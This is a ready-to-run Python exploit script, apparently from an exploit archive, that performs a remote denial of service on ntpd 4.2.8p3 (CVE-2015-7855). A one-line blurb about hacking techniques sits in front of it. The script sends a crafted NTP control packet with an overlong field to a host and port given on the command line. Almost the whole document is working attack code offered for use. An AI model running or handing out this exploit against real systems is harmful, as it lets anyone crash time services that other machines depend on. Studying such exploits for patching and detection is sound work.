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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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#!/usr/bin/env python

# Exploit Title: ntpd 4.2.8p3 remote DoS
# Date: 2015-10-21
# Bug Discovery: John D "Doug" Birdwell
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://support.ntp.org/bin/view/Main/NtpBug2922
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p3.tar.gz
# Version: All ntp-4 releases up to, but not including 4.2.8p4, and 4.3.0 up to, but not including 4.3.77
# CVE: CVE-2015-7855

import sys
import socket

if len(sys.argv) != 3:
    print "usage: " + sys.argv[0] + " <host> <port>"
    sys.exit(-1)

payload = "\x16\x0a\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\x6e\x6f\x6e\x63\x65\x3d\x64\x61\x33\x64\x35\x64\x30\x66\x66\x38\x30\x38\x31\x65\x63\x38\x33\x35\x32\x61\x32\x32\x38\x36\x2c\x20\x66\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39\x39"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"